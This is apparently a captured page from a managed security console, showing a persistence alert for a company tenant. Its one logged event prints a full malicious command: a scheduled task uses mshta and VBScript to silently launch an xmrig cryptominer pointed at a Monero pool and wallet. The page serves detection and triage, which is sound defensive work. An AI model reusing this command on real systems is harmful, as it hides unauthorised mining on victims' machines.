grid_view
Dashboards
chevron_right
Alert Triage
Security Posture
ManagedXDR
My Dashboards
gpp_maybe
Alerts
cases
Investigations
Advanced Search
desktop_windows
Endpoint Agents
chevron_right
Summary
Group Configuration
Exceptions
Agent Settings
Downloads
merge
Integrations
chevron_right
iSensors
Data Collectors
Data Sources
Custom Parsers
Cloud APIs
Automations
chevron_right
Playbooks
Connectors
build_circle
Tools
chevron_right
CyberChef
file_download
Downloads
chevron_right
Data Exports
CTU™ Downloads
description
Reports
Tenant Settings
chevron_right
Users
Roles & Permissions
Tenant Profile
Rules
Audit Logs
Enterprise SSO
question_answer
Chat
Smiths Cogwheels, Inc.
search
help_outline
notifications
A
Alerts
/
Persistent Creation of a Windows Scripting Host Automation Object
Persistent Creation of a Windows Scripting Host Automation Object
link
Actions
arrow_drop_down
Is this alert valuable?
info_outline
thumb_up
Yes
thumb_down
No
SUMMARY
JSON
EVENTS
(1)
THREAT INTELLIGENCE
(0)
HISTORY
INSIGHTS
1
Event
Actions
arrow_drop_down
Drag here to set row groups
Drag here to set column labels
TIMESTAMP
1
SUMMARY
TYPE
CATEGORY
2024/03/06 12:16:59 UTC
SCHEDULED_TASK mshta vbscript:CreateObject("Wscript.Shell").("C:\Users\brandon.perry\xmrig.exe --donate-level 1 -o monerohash.com:2222 -u 84XFxjQVYoJjQBeyfbcYBgJ1tw4cgywGyTp12nQw3mSKZctgMYuPGRH1y2LuBAS8yyT8ZX2NDS3CXbfFAxdXQJwAGMoMDSq -p x -k",0,true)(window.close)
Persistence
SCHEDULED_TASK
to
of
Page
of
Items per page
10
1 - 1 in 1
Collapse Navigation
Ctrl + /
Preview is enabled for exploration of new features that will become part of production in the near future
Copy share link
Let us know whether the alert(s) are valuable. Your feedback will be used to personalize future alerts and investigations.
1 Event
